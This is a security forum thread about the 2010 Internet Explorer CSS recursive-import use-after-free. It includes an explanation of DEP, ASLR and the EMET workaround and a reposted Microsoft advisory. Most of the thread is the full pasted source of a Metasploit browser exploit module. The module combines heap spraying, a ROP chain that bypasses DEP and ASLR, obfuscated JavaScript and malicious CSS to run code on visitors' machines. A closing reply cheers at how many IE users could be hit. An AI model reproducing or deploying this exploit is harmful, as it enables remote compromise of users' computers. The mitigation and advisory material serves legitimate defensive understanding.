Internet Explorer 6 /7 /8 CSS 0day - General Security Discussions

undead

A remote code execution vulnerability against all versions of Internet Explorer was announced recently, and a proof-of-concept exploit has already been added to the Metasploit products.

Microsoft doesn't have a patch out yet, but it has published a workaround which protects against this exploit, and others of a similar sort.

I urge you to familiarise yourself with the workaround, because it improves your general security posture as well as mitigating this particular problem.
The vulnerability was published earlier in the month on a full-disclosure security list. Full disclosure means that you simply tell the world about a newly-found bug, and let the world sort things out. The theory behind this is that it prevents sluggish software vendors from simply ignoring the problem and not fixing it. The disadvantage, of course, is that it alerts the Bad Guys at the same time as everyone else.

The vulnerability relies on a memory-usage bug when Internet Explorer processes a Cascading Style Sheet file. (CSS is the way you specify the look and feel of the HTML which makes up your web pages.) If the style sheet imports itself - something which would not normally be useful, since the CSS file is already loaded - then IE makes a mess of memory. This can be exploited to cause remotely-supplied code to be run without the usual security checks associated with IE downloads.

Sadly, this new exploit seems to work against all supported versions of Internet Explorer, right up to IE 8 on Windows 7, despite security improvements in Microsoft products such as Data Execution Prevention (DEP) and Address Space Layout Randomisation (ASLR).

DEP is designed to prevent you from sending data packets containing code and hoping you can run that code if you manage to crash the application which receives it. Areas of memory in which the application stores its run-time data - including the stack and the heap - are marked non-executable. So even if you do cram them full of malware and trick the computer into jumping to the offending code, the operating system will prevent it from running.

If, due to DEP, you can't simply supply and run your own code, then your exploit needs to make use of code which is already loaded into memory and marked executable. That means you need to predict exactly where in memory it is going to be.

And ASLR is specifically intended to stop you from doing so. Loading programs and DLLs in a different, random location every time means that you can't predict where in memory you will find useful stuff. So you to need to locate it first - but you can't do that either, because the code you'd need to perform the search is blocked by DEP.

Unfortunately, Microsoft allows each DLL to decide whether it supports ASLR or not. And IE is implemented as a whole raft of DLLs - some of which are loaded at run-time, as needed, to render content which IE downloads. So, by sending otherwise-innocent files to IE, you can trick it into loading known DLLs. If any of those DLLs do not support ASLR, then they are loaded at a known place in memory.

Heigh, ho, Microsoft. There's not much point in putting security guards on every door but leaving the windows open! And those unsafe DLLs mean exactly that - unsafe Windows.

Over time, we can expect to see Microsoft retire older DLLs which are unsafe, and to ensure that internet-facing applications run with full ASLR. That makes successful exploitation much harder, as explained above.

For now, a good workaround is to use Microsoft's Enhanced Mitigation Experience Toolkit (EMET). With this tool, you can force named applications to perform ASLR on every DLL they load, whether the DLL wants it or not.

This makes it very much less likely that a remote exploit based on hard-wired addresses will succeed.

Exploit (Metasploit Project) -

##
# $Id&#58; ms11_xxx_ie_css_import&#46;rb 11405 2010-12-23 01&#58;36&#58;54Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions&#46; Please see the Metasploit
# Framework web site for more information on licensing and terms of use&#46;
# http&#58;//metasploit&#46;com/framework/
##

require 'msf/core'

class Metasploit3 &lt; Msf&#58;&#58;Exploit&#58;&#58;Remote
        Rank = GoodRanking # Need more love for Great

        include Msf&#58;&#58;Exploit&#58;&#58;Remote&#58;&#58;HttpServer&#58;&#58;HTML
        include Msf&#58;&#58;Exploit&#58;&#58;Remote&#58;&#58;BrowserAutopwn
        autopwn_info({
                &#58;ua_name    =&gt; HttpClients&#58;&#58;IE,
                &#58;ua_minver  =&gt; \"7&#46;0\", # Should be 6
                &#58;ua_maxver  =&gt; \"8&#46;0\",
                &#58;javascript =&gt; true,
                &#58;os_name    =&gt; OperatingSystems&#58;&#58;WINDOWS,
                &#58;vuln_test  =&gt; nil, # no way to test without just trying it
        })

        def initialize(info = {})
                super(update_info(info,
                        'Name'          =&gt; 'Internet Explorer CSS Recursive Import Use After Free',
                        'Description'    =&gt; %q{
                                        Thie module exploits a memory corruption vulnerability within Microsoft\'s
                                HTML engine (mshtml)&#46; When parsing an HTML page containing a recursive CSS
                                import, a C++ object is deleted and later reused&#46; This leads to arbitrary
                                code execution&#46;

                                This exploit utilizes a combination of heap spraying and the
                                &#46;NET 2&#46;0 'mscorie&#46;dll' module to bypass DEP and ASLR&#46; This module does not
                                opt-in to ASLR&#46; As such, this module should be reliable on all Windows
                                versions&#46;
                        },
                        'License'        =&gt; MSF_LICENSE,
                        'Author'        =&gt;
                                &#91;
                                        'WooYun',       # Initial discovery / report
                                        'd0c_s4vage',   # First working public exploit
                                        'jduck'         # Metasploit module (ROP, @WTFuzz spray)
                                &#93;,
                        'Version'        =&gt; '$Revision&#58; 11405  ,
                        'References'    =&gt;
                                &#91;
                                        &#91; 'CVE', '2010-3971' &#93;,
                                        &#91; 'OSVDB', '69796' &#93;,
                                        &#91; 'BID', '45246' &#93;,
                                        &#91; 'URL', 'http&#58;//www&#46;microsoft&#46;com/technet/security/advisory/2488013&#46;mspx' &#93;,
                                        &#91; 'URL', 'http&#58;//www&#46;wooyun&#46;org/bugs/wooyun-2010-0885' &#93;,
                                        &#91; 'URL', 'http&#58;//seclists&#46;org/fulldisclosure/2010/Dec/110' &#93;,
                                        &#91; 'URL', 'http&#58;//xcon&#46;xfocus&#46;net/XCon2010_ChenXie_EN&#46;pdf' &#93;,  # &#46;NET 2&#46;0 ROP (slide 25)
                                        &#91; 'URL', 'http&#58;//www&#46;breakingpointsystems&#46;com/community/blog/ie-vulnerability/' &#93;
                                        #&#91; 'MSB', 'MS11-XXX' &#93;
                                &#93;,
                        'DefaultOptions' =&gt;
                                {
                                        'EXITFUNC' =&gt; 'process',
                                        'InitialAutoRunScript' =&gt; 'migrate -f',
                                },
                        'Payload'        =&gt;
                                {
                                        'Space'         =&gt; 1024,
                                        'BadChars'      =&gt; \"\x00\",
                                        'DisableNops'   =&gt; true
                                },
                        'Platform'      =&gt; 'win',
                        'Targets'        =&gt;
                                &#91;
                                        &#91; 'Automatic', { } &#93;,

                                        &#91; 'Internet Explorer 8',
                                                {
                                                        'Ret' =&gt; 0x105ae020,
                                                        'OnePtrOff' =&gt; 0x18,
                                                        'DerefOff' =&gt; 0x30,
                                                        'FlagOff' =&gt; 0x54,
                                                        'CallDeref1' =&gt; 0x20,
                                                        'SignedOff' =&gt; 0x1c,
                                                        'CallDeref2' =&gt; 0x24,
                                                        'CallDeref3' =&gt; 0x00,
                                                        'CallDeref4' =&gt; 0x20,
                                                        'Deref4Off' =&gt; 0x08
                                                }
                                        &#93;,

                                        &#91; 'Internet Explorer 7',
                                                {
                                                        'Ret' =&gt; 0x105ae020,
                                                        'OnePtrOff' =&gt; 0x14,
                                                        'DerefOff' =&gt; 0x5c,
                                                        'FlagOff' =&gt; 0x34,
                                                        'CallDeref1' =&gt; 0x1c,
                                                        'SignedOff' =&gt; 0x18,
                                                        'CallDeref2' =&gt; 0x20,
                                                        'CallDeref3' =&gt; 0x00,
                                                        'CallDeref4' =&gt; 0x20,
                                                        'Deref4Off' =&gt; 0x08
                                                }
                                        &#93;,

                                        # For now, treat the IE6 target the same as teh debug target&#46;
                                        &#91; 'Internet Explorer 6',
                                                {
                                                        'Ret' =&gt; 0xc0c0c0c0,
                                                        'OnePtrOff' =&gt; 0x14,
                                                        'DerefOff' =&gt; 0x5c,
                                                        'FlagOff' =&gt; 0x34,
                                                        'CallDeref1' =&gt; 0x1c,
                                                        'SignedOff' =&gt; 0x18,
                                                        'CallDeref2' =&gt; 0x20,
                                                        'CallDeref3' =&gt; 0x00,
                                                        'CallDeref4' =&gt; 0x20,
                                                        'Deref4Off' =&gt; 0x08
                                                }
                                        &#93;,

                                        &#91; 'Debug Target (Crash)',
                                                {
                                                        'Ret' =&gt; 0xc0c0c0c0,
                                                        'OnePtrOff' =&gt; 0,
                                                        'DerefOff' =&gt; 4,
                                                        'FlagOff' =&gt; 8,
                                                        'CallDeref1' =&gt; 0xc,
                                                        'SignedOff' =&gt; 0x10,
                                                        'CallDeref2' =&gt; 0x14,
                                                        'CallDeref3' =&gt; 0x18,
                                                        'CallDeref4' =&gt; 0x1c,
                                                        'Deref4Off' =&gt; 0x20
                                                }
                                        &#93;
                                &#93;,
                        # Full-disclosure post was Dec 8th, original blog Nov 29th
                        'DisclosureDate' =&gt; 'Nov 29 2010',
                        'DefaultTarget'  =&gt; 0))
        end


        def auto_target(cli, request)
                mytarget = nil

                agent = request&#46;headers&#91;'User-Agent'&#93;
                #print_status(\"Checking user agent&#58; #{agent}\")
                if agent =~ /MSIE 6\&#46;0/
                        mytarget = targets&#91;3&#93;
                elsif agent =~ /MSIE 7\&#46;0/
                        mytarget = targets&#91;2&#93;
                elsif agent =~ /MSIE 8\&#46;0/
                        mytarget = targets&#91;1&#93;
                else
                        print_error(\"Unknown User-Agent #{agent} from #{cli&#46;peerhost}&#58;#{cli&#46;peerport}\")
                end
                mytarget
        end


        def on_request_uri(cli, request)

                print_status(\"Received request for %s\" % request&#46;uri&#46;inspect)

                mytarget = target
                if target&#46;name == 'Automatic'
                        mytarget = auto_target(cli, request)
                        if (not mytarget)
                                send_not_found(cli)
                                return
                        end
                end

                buf_addr = mytarget&#46;ret
                css_name = &#91;buf_addr&#93;&#46;pack('V') * (16 / 4)

                # We stick in a placeholder string to replace after UTF-16 encoding
                placeholder = \"a\" * (css_name&#46;length / 2)
                uni_placeholder = Rex&#58;&#58;Text&#46;to_unicode(placeholder)

                if request&#46;uri == get_resource() or request&#46;uri =~ /\/$/
                        print_status(\"Sending #{self&#46;refname} redirect to #{cli&#46;peerhost}&#58;#{cli&#46;peerport} (target&#58; #{mytarget&#46;name})&#46;&#46;&#46;\")

                        redir = get_resource()
                        redir &lt;&lt; '/' if redir&#91;-1,1&#93; != '/'
                        redir &lt;&lt; rand_text_alphanumeric(4+rand(4))
                        redir &lt;&lt; '&#46;html'
                        send_redirect(cli, redir)

                elsif request&#46;uri =~ /\&#46;html?$/
                        # Re-generate the payload
                        return if ((p = regenerate_payload(cli)) == nil)

                        print_status(\"Sending #{self&#46;refname} HTML to #{cli&#46;peerhost}&#58;#{cli&#46;peerport} (target&#58; #{mytarget&#46;name})&#46;&#46;&#46;\")

                        # Generate the ROP payload
                        rvas = rvas_mscorie_v2()
                        rop_stack = generate_rop(buf_addr, rvas)
                        fix_esp = rva2addr(rvas, 'leave / ret')
                        ret     = rva2addr(rvas, 'ret')
                        pivot1  = rva2addr(rvas, 'call &#91;ecx+4&#93; / xor eax, eax / pop ebp / ret 8')
                        pivot2  = rva2addr(rvas, 'xchg eax, esp / mov eax, &#91;eax&#93; / mov &#91;esp&#93;, eax / ret')

                        # Append the payload to the rop_stack
                        rop_stack &lt;&lt; p&#46;encoded

                        # Build the deref-fest buffer
                        len = 0x84 + rop_stack&#46;length
                        special_sauce = rand_text_alpha(len)

                        # This ptr + off must contain 0x00000001
                        special_sauce&#91;mytarget&#91;'OnePtrOff'&#93;, 4&#93; = &#91;1&#93;&#46;pack('V')

                        # Pointer that is dereferenced to get the flag
                        special_sauce&#91;mytarget&#91;'DerefOff'&#93;, 4&#93; = &#91;buf_addr&#93;&#46;pack('V')

                        # Low byte must not have bit 1 set
                        no_bit1 = rand(0xff) & ~2
                        special_sauce&#91;mytarget&#91;'FlagOff'&#93;, 1&#93; = &#91;no_bit1&#93;&#46;pack('V')

                        # These are deref'd to figure out what to call
                        special_sauce&#91;mytarget&#91;'CallDeref1'&#93;, 4&#93; = &#91;buf_addr&#93;&#46;pack('V')
                        special_sauce&#91;mytarget&#91;'CallDeref2'&#93;, 4&#93; = &#91;buf_addr&#93;&#46;pack('V')
                        special_sauce&#91;mytarget&#91;'CallDeref3'&#93;, 4&#93; = &#91;buf_addr + mytarget&#91;'Deref4Off'&#93;&#93;&#46;pack('V')
                        # Finally, this one becomes eip
                        special_sauce&#91;mytarget&#91;'CallDeref4'&#93; + mytarget&#91;'Deref4Off'&#93;, 4&#93; = &#91;pivot1&#93;&#46;pack('V')

                        # This byte must be signed (shorter path to flow control)
                        signed_byte = rand(0xff) | 0x80
                        special_sauce&#91;mytarget&#91;'SignedOff'&#93;, 1&#93; = &#91;signed_byte&#93;&#46;pack('C')

                        # These offsets become a fix_esp ret chain &#46;&#46;
                        special_sauce&#91;0x04, 4&#93; = &#91;pivot2&#93;&#46;pack('V')    # part two of our stack pivot!
                        special_sauce&#91;0x0c, 4&#93; = &#91;buf_addr + 0x84 - 4&#93;&#46;pack('V')  # becomes ebp, for fix esp
                        special_sauce&#91;0x10, 4&#93; = &#91;fix_esp&#93;&#46;pack('V')   # our stack pivot ret's to this (fix_esp, from eax)

                        # Add in the rest of the ROP stack
                        special_sauce&#91;0x84, rop_stack&#46;length&#93; = rop_stack

                        # Format for javascript use
                        special_sauce = Rex&#58;&#58;Text&#46;to_unescape(special_sauce)

                        js_function  = rand_text_alpha(rand(100)+1)

                        # Construct the javascript
                        custom_js = &lt;&lt;-EOS
function #{js_function}() {
heap = new heapLib&#46;ie(0x20000);
var heapspray = unescape(\"#{special_sauce}\");
while(heapspray&#46;length &lt; 0x1000) heapspray += unescape(\"ä‘„\");
var heapblock = heapspray;
while(heapblock&#46;length &lt; 0x40000) heapblock += heapblock;
finalspray = heapblock&#46;substring(2, 0x40000 - 0x21);
for(var counter = 0; counter &lt; 500; counter++) { heap&#46;alloc(finalspray); }
var vlink = document&#46;createElement(\"link\");
vlink&#46;setAttribute(\"rel\", \"Stylesheet\");
vlink&#46;setAttribute(\"type\", \"text/css\");
vlink&#46;setAttribute(\"href\", \"#{placeholder}\")
document&#46;getElementsByTagName(\"head\")&#91;0&#93;&#46;appendChild(vlink);
}
EOS
                        opts = {
                                'Symbols' =&gt; {
                                        'Variables' =&gt; %w{ heapspray vlink heapblock heap finalspray counter },
                                        'Methods'   =&gt; %w{ prepare }
                                }
                        }
                        custom_js = &#58;&#58;Rex&#58;&#58;Exploitation&#58;&#58;ObfuscateJS&#46;new(custom_js, opts)
                        js = heaplib(custom_js)

                        dll_uri = get_resource()
                        dll_uri &lt;&lt; '/' if dll_uri&#91;-1,1&#93; != '/'
                        dll_uri &lt;&lt; \"generic-\" + Time&#46;now&#46;to_i&#46;to_s + \"&#46;dll\"

                        # Construct the final page
                        html = &lt;&lt;-EOS
&lt;html&gt;
&lt;head&gt;
&lt;script language='javascript'&gt;
#{js}
&lt;/script&gt;
&lt;/head&gt;
&lt;body onload='#{js_function}()'&gt;
&lt;object classid=\"#{dll_uri}#GenericControl\"&gt;
&lt;/body&gt;
&lt;/html&gt;
EOS
                        html = \"\xff\xfe\" + Rex&#58;&#58;Text&#46;to_unicode(html)
                        html&#46;gsub!(uni_placeholder, css_name)

                        send_response(cli, html, { 'Content-Type' =&gt; 'text/html' })

                elsif request&#46;uri =~ /\&#46;dll$/
                        print_status(\"Sending #{self&#46;refname} DLL to #{cli&#46;peerhost}&#58;#{cli&#46;peerport} (target&#58; #{mytarget&#46;name})&#46;&#46;&#46;\")

                        # Generate a &#46;NET v2&#46;0 DLL, note that it doesn't really matter what this contains since we don't actually
                        # use it's contents &#46;&#46;&#46;
                        ibase = (0x2000 | rand(0x8000)) &lt;&lt; 16
                        dll = Msf&#58;&#58;Util&#58;&#58;EXE&#46;to_dotnetmem(ibase, rand_text(16))

                        # Send a &#46;NET v2&#46;0 DLL down
                        send_response(cli, dll,
                                {
                                        'Content-Type' =&gt; 'application/x-msdownload',
                                        'Connection'   =&gt; 'close',
                                        'Pragma'        =&gt; 'no-cache'
                                })

                else
                        css = &lt;&lt;-EOS
@import url(\"#{placeholder}\");
@import url(\"#{placeholder}\");
@import url(\"#{placeholder}\");
@import url(\"#{placeholder}\");
EOS
                        css = \"\xff\xfe\" + Rex&#58;&#58;Text&#46;to_unicode(css)
                        css&#46;gsub!(uni_placeholder, css_name)

                        print_status(\"Sending #{self&#46;refname} CSS to #{cli&#46;peerhost}&#58;#{cli&#46;peerport} (target&#58; #{mytarget&#46;name})&#46;&#46;&#46;\")

                        send_response(cli, css, { 'Content-Type' =&gt; 'text/css' })

                end

                # Handle the payload
                handler(cli)

        end

        def rvas_mscorie_v2()
                # mscorie&#46;dll version v2&#46;0&#46;50727&#46;3053
                # Just return this hash
                {
                        'call &#91;ecx+4&#93; / xor eax, eax / pop ebp / ret 8' =&gt; 0x237e,
                        'xchg eax, esp / mov eax, &#91;eax&#93; / mov &#91;esp&#93;, eax / ret' =&gt; 0x575b,
                        'leave / ret'            =&gt; 0x25e5,
                        'ret'                    =&gt; 0x25e5+1,
                        'call &#91;ecx&#93; / pop ebp / ret 0xc' =&gt; 0x1ec4,
                        'pop eax / ret'          =&gt; 0x5ba1,
                        'pop ebx / ret'          =&gt; 0x54c0,
                        'pop ecx / ret'          =&gt; 0x1e13,
                        'pop esi / ret'          =&gt; 0x1d9a,
                        'pop edi / ret'          =&gt; 0x2212,
                        'mov &#91;ecx&#93;, eax / mov al, 1 / pop ebp / ret 0xc' =&gt; 0x61f6,
                        'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' =&gt; 0x6154,
                }
        end

        def generate_rop(buf_addr, rvas)
                # ROP fun! (XP SP3 English, Dec 15 2010)
                rvas&#46;merge!({
                        # Instructions / Name    =&gt; RVA
                        'BaseAddress'            =&gt; 0x63f00000,
                        'imp_VirtualAlloc'      =&gt; 0x10f4
                })

                rop_stack = &#91;
                        # Allocate an RWX memory segment
                        'pop ecx / ret',
                        'imp_VirtualAlloc',

                        'call &#91;ecx&#93; / pop ebp / ret 0xc',
                        0,      # lpAddress
                        0x1000,    # dwSize
                        0x3000,    # flAllocationType
                        0x40,      # flProt
                        &#58;unused,

                        # Copy the original payload
                        'pop ecx / ret',
                        &#58;unused,
                        &#58;unused,
                        &#58;unused,
                        &#58;memcpy_dst,

                        'mov &#91;ecx&#93;, eax / mov al, 1 / pop ebp / ret 0xc',
                        &#58;unused,
                        
                        'pop esi / ret',
                        &#58;unused,
                        &#58;unused,
                        &#58;unused,
                        &#58;memcpy_src,

                        'pop edi / ret',
                        0xdeadf00d # to be filled in above
                &#93;
                (0x200 / 4)&#46;times {
                        rop_stack &lt;&lt; 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret'
                }
                # Execute the payload ;)
                rop_stack &lt;&lt; 'call &#91;ecx&#93; / pop ebp / ret 0xc'

                rop_stack&#46;map! { |e|
                        if e&#46;kind_of? String
                                # Meta-replace (RVA)
                                raise RuntimeError, \"Unable to locate key&#58; \\"#{e}\\"\" if not rvas&#91;e&#93;
                                rvas&#91;'BaseAddress'&#93; + rvas&#91;e&#93;

                        elsif e == &#58;unused
                                # Randomize
                                rand_text(4)&#46;unpack('V')&#46;first

                        elsif e == &#58;memcpy_src
                                # Based on stack length&#46;&#46;
                                buf_addr + 0x84 + (rop_stack&#46;length * 4)

                        elsif e == &#58;memcpy_dst
                                # Store our new memory ptr into our buffer for later popping &#58;)
                                buf_addr + 0x84 + (21 * 4)

                        else
                                # Literal
                                e
                        end
                }

                rop_stack&#46;pack('V*')
        end

        def rva2addr(rvas, key)
                raise RuntimeError, \"Unable to locate key&#58; \\"#{key}\\"\" if not rvas&#91;key&#93;
                rvas&#91;'BaseAddress'&#93; + rvas&#91;key&#93;
        end

end

Internet Explorer CSS 0day on Windows 7 ??
Exploit working on Win7 fully patched!
A recent video submission by Abysssec demonstrates the Internet Explorer CSS 0day currently rampaging â€“ reliably working on Windows 7 and Vista. The exploit bypasses DEP and ASLR without the use of any 3rd party extensions.
http://vimeo.com/18023495

Sources:
nakedsecurity.sophos.com
Metasploit
exploit-db[hr]
Microsft Releases Security Advisory 2488013 to address IE vulnerability
-----------------------------------------------------------------------------------------------------

Hello,

Today we released Security Advisory 2488013 to address a public vulnerability that could affect customers using Internet Explorer 6, 7 and 8 if they visit a website hosting malicious code. Currently the impact of this vulnerability is limited and we are not aware of any affected customers or active attacks targeting customers.

Internet Explorer Protected Mode on Windows Vista and later versions of Windows helps to limit the impact of the currently known proof-of-concept exploits. Protected Mode is on by default in the Internet and Restricted sites zones in Internet Explorer 7 and 8 and prompts users before allowing software to install, run or modify sensitive system components.

The Security Advisory includes additional workarounds and mitigations that will help protect customers. Our Security and Research team has written a detailed blog post on the more technical aspects.

We initiated our Software Security Incident Response Process (SSIRP) to manage this issue and are sharing detailed information through the Microsoft Active Protections Program (MAPP). Our 70 global MAPP partners, including leading providers of anti-virus and anti-malware products, provide protections for an estimated one billion customers worldwide. With our partners, Microsoft is actively working to monitor the threat landscape and take action against malicious sites that attempt to exploit this vulnerability. If your protection provider is in our MAPP program, you can contact them concerning the status of providing protections for this issue as it is likely that updated malware signatures in these products will offer further protection.

We are working to develop a security update to address this attack against our customers. The issue does not currently meet the criteria for an out-of-band release. However, we are monitoring the threat landscape very closely and if the situation changes, we will post updates here on the MSRC blog.

As always, we encourage Internet users to follow the "Protect Your Computer" guidance of enabling a firewall, applying all software updates and installing anti-virus and anti-spyware software. Additional information can be found at Security at Home.

Thanks,

Carlene Chmaj

Microsoft Trustworthy Computing, Senior Response Communications Manager

-----------------------------------------------------------------------------------------------------
Source: blogs.technet.com

Sh3llc0d3

FUCK YES!!!! How many people globally have IE installed and use it!!!! I actually was looking at this the other day on http://www.securityfocus.com/ when I was looking for possible exploits for ie7.

Howdy, Stranger!

Top Posters

Who's Online (3)